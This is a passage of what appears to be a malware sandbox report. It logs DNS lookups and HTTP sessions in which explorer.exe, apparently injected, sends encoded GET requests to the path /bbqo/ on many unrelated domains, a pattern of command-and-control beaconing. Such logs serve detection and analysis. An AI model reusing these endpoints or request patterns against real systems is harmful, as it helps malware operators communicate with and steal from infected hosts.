                                                                                  May 4, 2021 08:54:32.359016895 CEST8.8.8.8192.168.2.40xc984No error (0)fwd3.hosts.co.uk85.233.160.22A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:54:32.359016895 CEST8.8.8.8192.168.2.40xc984No error (0)fwd3.hosts.co.uk85.233.160.24A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:54:37.565845966 CEST8.8.8.8192.168.2.40xec30No error (0)www.szzyhjj.comszzyhjj.comCNAME (Canonical name)IN (0x0001)
                                                                                  May 4, 2021 08:54:37.565845966 CEST8.8.8.8192.168.2.40xec30No error (0)szzyhjj.com45.192.92.174A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:54:43.193926096 CEST8.8.8.8192.168.2.40x9494No error (0)www.puzed.net180.150.102.39A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:54:49.001988888 CEST8.8.8.8192.168.2.40xc6ccNo error (0)www.makeoverfurn.com80.237.133.185A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:54:54.191683054 CEST8.8.8.8192.168.2.40xb8feNo error (0)www.theboundless.lifetheboundless.lifeCNAME (Canonical name)IN (0x0001)
                                                                                  May 4, 2021 08:54:54.191683054 CEST8.8.8.8192.168.2.40xb8feNo error (0)theboundless.life184.168.131.241A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:54:59.783449888 CEST8.8.8.8192.168.2.40x77d7Server failure (2)www.amwajcare.comnonenoneA (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:04.895536900 CEST8.8.8.8192.168.2.40x5fd9No error (0)www.northernbackflow.comnorthernbackflow.comCNAME (Canonical name)IN (0x0001)
                                                                                  May 4, 2021 08:55:04.895536900 CEST8.8.8.8192.168.2.40x5fd9No error (0)northernbackflow.com34.102.136.180A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:10.505142927 CEST8.8.8.8192.168.2.40x17d4No error (0)www.crickescore.comcrickescore.comCNAME (Canonical name)IN (0x0001)
                                                                                  May 4, 2021 08:55:10.505142927 CEST8.8.8.8192.168.2.40x17d4No error (0)crickescore.com103.20.212.182A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:20.965464115 CEST8.8.8.8192.168.2.40x6c97No error (0)www.1800quilts.com1800quilts.comCNAME (Canonical name)IN (0x0001)
                                                                                  May 4, 2021 08:55:20.965464115 CEST8.8.8.8192.168.2.40x6c97No error (0)1800quilts.com34.102.136.180A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:26.238753080 CEST8.8.8.8192.168.2.40xeb80No error (0)www.xiangyuwenhua.comwww.xiangyuwenhua.com.s.sxldns.comCNAME (Canonical name)IN (0x0001)
                                                                                  May 4, 2021 08:55:26.238753080 CEST8.8.8.8192.168.2.40xeb80No error (0)www.xiangyuwenhua.com.s.sxldns.comdns.sxl.cnCNAME (Canonical name)IN (0x0001)
                                                                                  May 4, 2021 08:55:26.238753080 CEST8.8.8.8192.168.2.40xeb80No error (0)dns.sxl.cn60.205.226.138A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:26.238753080 CEST8.8.8.8192.168.2.40xeb80No error (0)dns.sxl.cn39.106.191.194A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:26.238753080 CEST8.8.8.8192.168.2.40xeb80No error (0)dns.sxl.cn39.107.92.161A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:26.238753080 CEST8.8.8.8192.168.2.40xeb80No error (0)dns.sxl.cn39.107.93.143A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:26.238753080 CEST8.8.8.8192.168.2.40xeb80No error (0)dns.sxl.cn39.107.125.223A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:26.238753080 CEST8.8.8.8192.168.2.40xeb80No error (0)dns.sxl.cn47.94.102.102A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:26.238753080 CEST8.8.8.8192.168.2.40xeb80No error (0)dns.sxl.cn47.94.110.127A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:26.238753080 CEST8.8.8.8192.168.2.40xeb80No error (0)dns.sxl.cn47.94.129.91A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:26.238753080 CEST8.8.8.8192.168.2.40xeb80No error (0)dns.sxl.cn47.94.238.60A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:26.238753080 CEST8.8.8.8192.168.2.40xeb80No error (0)dns.sxl.cn47.95.15.229A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:32.509799957 CEST8.8.8.8192.168.2.40x3105No error (0)www.seroungift.com3.34.109.201A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:38.225996017 CEST8.8.8.8192.168.2.40x3726No error (0)www.carboncuriosity.comcarboncuriosity.comCNAME (Canonical name)IN (0x0001)
                                                                                  May 4, 2021 08:55:38.225996017 CEST8.8.8.8192.168.2.40x3726No error (0)carboncuriosity.com34.102.136.180A (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:43.503010988 CEST8.8.8.8192.168.2.40xd018Name error (3)www.centerplans.comnonenoneA (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:48.581720114 CEST8.8.8.8192.168.2.40x833aNo error (0)www.boxj66.comboxj66.comCNAME (Canonical name)IN (0x0001)
                                                                                  May 4, 2021 08:55:48.581720114 CEST8.8.8.8192.168.2.40x833aNo error (0)boxj66.com212.95.146.158A (IP address)IN (0x0001)

                                                                                  HTTP Request Dependency Graph

                                                                                  • www.thebestcoffeeshops.com
                                                                                  • www.szzyhjj.com
                                                                                  • www.puzed.net
                                                                                  • www.makeoverfurn.com
                                                                                  • www.theboundless.life
                                                                                  • www.northernbackflow.com
                                                                                  • www.crickescore.com
                                                                                  • www.1800quilts.com
                                                                                  • www.xiangyuwenhua.com
                                                                                  • www.seroungift.com
                                                                                  • www.carboncuriosity.com

                                                                                  HTTP Packets

                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                  0192.168.2.44974785.233.160.2380C:\Windows\explorer.exe
                                                                                  TimestampkBytes transferredDirectionData
                                                                                  May 4, 2021 08:54:32.422215939 CEST1484OUTGET /bbqo/?Rb=M42dVLz8&XB64XbO8=DAKSku2UP9w0lKXY+LhytUUwyem6IfHDB7QSSdTpSALkSldV/1o9CxHuilJYCYQ/V6tP HTTP/1.1
                                                                                  Host: www.thebestcoffeeshops.com
                                                                                  Connection: close
                                                                                  Data Raw: 00 00 00 00 00 00 00
                                                                                  Data Ascii:
                                                                                  May 4, 2021 08:54:32.476701975 CEST1485INHTTP/1.1 200 OK
                                                                                  Date: Tue, 04 May 2021 06:54:32 GMT
                                                                                  Server: Apache
                                                                                  Connection: close
                                                                                  Transfer-Encoding: chunked
                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                  Data Raw: 31 66 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 74 68 65 62 65 73 74 63 6f 66 66 65 65 73 68 6f 70 73 2e 63 6f 6d 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 62 6f 64 79 2c 20 68 74 6d 6c 0a 09 7b 0a 09 09 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 09 7d 0a 09 23 63 6f 6e 74 65 6e 74 0a 09 7b 0a 09 09 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 6c 65 66 74 3a 20 30 3b 20 72 69 67 68 74 3a 20 30 3b 20 62 6f 74 74 6f 6d 3a 20 30 3b 20 74 6f 70 3a 20 30 70 78 3b 0a 09 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 09 3c 69 66 72 61 6d 65 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 6d 65 73 2e 63 6f 2e 75 6b 2f 70 61 72 6b 65 64 2d 64 6f 6d 61 69 6e 73 2f 69 6e 64 65 78 3f 2f 3d 2f 64 6f 6d 61 69 6e 2f 74 68 65 62 65 73 74 63 6f 66 66 65 65 73 68 6f 70 73 2e 63 6f 6d 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a
                                                                                  Data Ascii: 1f9<!DOCTYPE html><html><head><title>thebestcoffeeshops.com</title><style type="text/css">body, html{margin: 0; padding: 0; height: 100%; overflow: hidden;}#content{position:absolute; left: 0; right: 0; bottom: 0; top: 0px;}</style><meta name="robots" content="noindex, nofollow"></head><body><div id="content"><iframe width="100%" height="100%" frameborder="0" src="https://www.names.co.uk/parked-domains/index?/=/domain/thebestcoffeeshops.com"></iframe></div></body></html>0


                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                  1192.168.2.44975445.192.92.17480C:\Windows\explorer.exe
                                                                                  TimestampkBytes transferredDirectionData
                                                                                  May 4, 2021 08:54:37.837930918 CEST2067OUTGET /bbqo/?XB64XbO8=trcmmZYAhW1z3xFVKWe7fHl88qCucLFuCi4mCu0pcnYYHjBJZxUhua0G6TwplXUzf90o&Rb=M42dVLz8 HTTP/1.1
                                                                                  Host: www.szzyhjj.com
                                                                                  Connection: close
                                                                                  Data Raw: 00 00 00 00 00 00 00
                                                                                  Data Ascii:
                                                                                  May 4, 2021 08:54:38.113504887 CEST2070INHTTP/1.1 200 OK
                                                                                  Server: nginx
                                                                                  Date: Tue, 04 May 2021 06:54:37 GMT
                                                                                  Content-Type: text/html
                                                                                  Content-Length: 781
                                                                                  Connection: close
                                                                                  Data Raw: 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e d4 c6 b8 a1 b9 cf c1 c7 bd a1 c9 ed be e3 c0 d6 b2 bf 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 20 2f 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 20 20 20 20 76 61 72 20 62 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0d 0a 20 20 20 20 76 61 72 20 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2e 73 70 6c 69 74 28 27 3a 27 29 5b 30 5d 3b 0d 0a 20 20 20 20 69 66 20 28 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 3d 3d 20 27 68 74 74 70 73 27 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 62 70 2e 73 72 63 20 3d 20 27 68 74 74 70 73 3a 2f 2f 7a 7a 2e 62 64 73 74 61 74 69 63 2e 63 6f 6d 2f 6c 69 6e 6b 73 75 62 6d 69 74 2f 70 75 73 68 2e 6a 73 27 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 62 70 2e 73 72 63 20 3d 20 27 68 74 74 70 3a 2f 2f 70 75 73 68 2e 7a 68 61 6e 7a 68 61 6e 67 2e 62 61 69 64 75 2e 63 6f 6d 2f 70 75 73 68 2e 6a 73 27 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 0d 0a 20 20 20 20 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 62 70 2c 20 73 29 3b 0d 0a 7d 29 28 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 74 6a 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 63 6f 6d 6d 6f 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                  Data Ascii: <html xmlns="http://www.w3.org/1999/xhtml"><head><title></title><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><script>(function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s);})();</script></head><script language="javascript" type="text/javascript" src="/tj.js"></script><script language="javascript" type="text/javascript" src="/common.js"></script></body></html>


                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                  10192.168.2.44976734.102.136.18080C:\Windows\explorer.exe
                                                                                  TimestampkBytes transferredDirectionData
                                                                                  May 4, 2021 08:55:38.269939899 CEST5567OUTGET /bbqo/?Rb=M42dVLz8&XB64XbO8=YYVXHHveBgSLNZYesnT1AghiVl/Xx3BIBb/tObWwW6qpUDZVV8sOQ19Z9K/TOFaASXJK HTTP/1.1
                                                                                  Host: www.carboncuriosity.com
                                                                                  Connection: close
                                                                                  Data Raw: 00 00 00 00 00 00 00
                                                                                  Data Ascii:
                                                                                  May 4, 2021 08:55:38.407478094 CEST5568INHTTP/1.1 403 Forbidden
                                                                                  Server: openresty
                                                                                  Date: Tue, 04 May 2021 06:55:38 GMT
                                                                                  Content-Type: text/html
                                                                                  Content-Length: 275
                                                                                  ETag: "6090666c-113"
                                                                                  Via: 1.1 google
                                                                                  Connection: close
                                                                                  Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a
                                                                                  Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>


                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                  2192.168.2.449756180.150.102.3980C:\Windows\explorer.exe
                                                                                  TimestampkBytes transferredDirectionData
                                                                                  May 4, 2021 08:54:43.546535015 CEST2152OUTGET /bbqo/?Rb=M42dVLz8&XB64XbO8=XLcvqqeS1lhWgJP77JDDmgANyyJOPhQvBMhs62kpQnu2foMme1WiKofFk1rRWdP6dmuL HTTP/1.1
                                                                                  Host: www.puzed.net
                                                                                  Connection: close
                                                                                  Data Raw: 00 00 00 00 00 00 00
                                                                                  Data Ascii:
                                                                                  May 4, 2021 08:54:43.896691084 CEST2153INHTTP/1.1 301 Moved Permanently
                                                                                  Location: https://www.puzed.net/bbqo/?Rb=M42dVLz8&XB64XbO8=XLcvqqeS1lhWgJP77JDDmgANyyJOPhQvBMhs62kpQnu2foMme1WiKofFk1rRWdP6dmuL
                                                                                  Date: Tue, 04 May 2021 06:53:01 GMT
                                                                                  Content-Length: 17
                                                                                  Content-Type: text/plain; charset=utf-8
                                                                                  Connection: close
                                                                                  Data Raw: 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79
                                                                                  Data Ascii: Moved Permanently


                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                  3192.168.2.44975880.237.133.18580C:\Windows\explorer.exe
                                                                                  TimestampkBytes transferredDirectionData
                                                                                  May 4, 2021 08:54:49.048841953 CEST5108OUTGET /bbqo/?XB64XbO8=gW47Pg8Fo6iIv2ud/64/p2+3hov1DZqi/pO7CWKW8hPHr2u5wHbVWSaPXrsCIEHv8cct&Rb=M42dVLz8 HTTP/1.1
                                                                                  Host: www.makeoverfurn.com
                                                                                  Connection: close
                                                                                  Data Raw: 00 00 00 00 00 00 00
                                                                                  Data Ascii:
                                                                                  May 4, 2021 08:54:49.097014904 CEST5109INHTTP/1.1 404 Not Found
                                                                                  Date: Tue, 04 May 2021 06:54:49 GMT
                                                                                  Content-Type: text/html; charset=utf-8
                                                                                  Transfer-Encoding: chunked
                                                                                  Connection: close
                                                                                  Server: Apache
                                                                                  Vary: accept-language,accept-charset
                                                                                  Accept-Ranges: bytes
                                                                                  Content-Language: en
                                                                                  Expires: Tue, 04 May 2021 06:54:49 GMT
                                                                                  Data Raw: 33 64 63 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 6d 77 40 6d 61 72 63 75 73 77 6f 6c 66 66 64 65 73 69 67 6e 2e 63 6f 6d 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0a 0a 3c 2f 70 3e 0a 3c 70 3e 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 6d 77 40 6d 61 72 63 75 73 77 6f 6c 66 66 64 65 73 69 67 6e 2e 63 6f 6d 22 3e 77 65 62 6d 61 73 74 65 72 3c 2f 61 3e 2e 0a 0a 3c 2f 70 3e 0a 0a 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 0a 3c 61 64 64 72 65 73 73 3e 0a 20 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 77 77 77 2e 6d 61 6b 65 6f 76 65 72 66 75 72 6e 2e 63 6f 6d 3c 2f 61 3e 3c 62 72 20 2f 3e 0a 20 20 3c 73 70 61 6e 3e 41 70 61 63 68 65 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0a 0d 0a 30 0d 0a 0d 0a
                                                                                  Data Ascii: 3dc<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>Object not found!</title><link rev="made" href="mailto:mw@marcuswolffdesign.com" /><style type="text/css">.../*--><![CDATA[/*>...*/ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/*...*/--></style></head><body><h1>Object not found!</h1><p> The requested URL was not found on this server. If you entered the URL manually please check your spelling and try again. </p><p>If you think this is a server error, please contactthe <a href="mailto:mw@marcuswolffdesign.com">webmaster</a>.</p><h2>Error 404</h2><address> <a href="/">www.makeoverfurn.com</a><br /> <span>Apache</span></address></body></html>0


                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                  4192.168.2.449759184.168.131.24180C:\Windows\explorer.exe
                                                                                  TimestampkBytes transferredDirectionData
                                                                                  May 4, 2021 08:54:54.391402960 CEST5528OUTGET /bbqo/?Rb=M42dVLz8&XB64XbO8=5cE52+XUn5YOw4VrTBFj5Yjg6Bdl2wnKeIdlDky+FVUstW8yNKK8e4wg1M4nQ/djAnNx HTTP/1.1
                                                                                  Host: www.theboundless.life
                                                                                  Connection: close
                                                                                  Data Raw: 00 00 00 00 00 00 00
                                                                                  Data Ascii:
                                                                                  May 4, 2021 08:54:54.682499886 CEST5528INHTTP/1.1 301 Moved Permanently
                                                                                  Server: nginx/1.16.1
                                                                                  Date: Tue, 04 May 2021 06:54:54 GMT
                                                                                  Content-Type: text/html; charset=utf-8
                                                                                  Transfer-Encoding: chunked
                                                                                  Connection: close
                                                                                  Location: https://leasethe.world/bbqo/?Rb=M42dVLz8&XB64XbO8=5cE52+XUn5YOw4VrTBFj5Yjg6Bdl2wnKeIdlDky+FVUstW8yNKK8e4wg1M4nQ/djAnNx
                                                                                  Data Raw: 30 0d 0a 0d 0a
                                                                                  Data Ascii: 0


                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                  5192.168.2.44976034.102.136.18080C:\Windows\explorer.exe
                                                                                  TimestampkBytes transferredDirectionData
                                                                                  May 4, 2021 08:55:04.941901922 CEST5530OUTGET /bbqo/?Rb=M42dVLz8&XB64XbO8=40XENB+TcZexP2uUOo8nZZ5shhtfu5CrxuaTgdlTMM4sGAobqBEK7c7NHXloi3y0yuoT HTTP/1.1
                                                                                  Host: www.northernbackflow.com
                                                                                  Connection: close
                                                                                  Data Raw: 00 00 00 00 00 00 00
                                                                                  Data Ascii:
                                                                                  May 4, 2021 08:55:05.078917027 CEST5530INHTTP/1.1 403 Forbidden
                                                                                  Server: openresty
                                                                                  Date: Tue, 04 May 2021 06:55:05 GMT
                                                                                  Content-Type: text/html
                                                                                  Content-Length: 275
                                                                                  ETag: "6090666c-113"
                                                                                  Via: 1.1 google
                                                                                  Connection: close
                                                                                  Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a
                                                                                  Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>


                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                  6192.168.2.449761103.20.212.18280C:\Windows\explorer.exe
                                                                                  TimestampkBytes transferredDirectionData
                                                                                  May 4, 2021 08:55:10.679526091 CEST5531OUTGET /bbqo/?XB64XbO8=+83Ad9ys8+FMkuQHLQbEUx121DE/6nLvKA5vTUyMQ3D5zQ4YR59KLRowGPLGetqdy+rw&Rb=M42dVLz8 HTTP/1.1
                                                                                  Host: www.crickescore.com
                                                                                  Connection: close
                                                                                  Data Raw: 00 00 00 00 00 00 00
                                                                                  Data Ascii:
                                                                                  May 4, 2021 08:55:10.850706100 CEST5532INHTTP/1.1 301 Moved Permanently
                                                                                  Server: nginx
                                                                                  Date: Tue, 04 May 2021 06:55:10 GMT
                                                                                  Content-Type: text/html
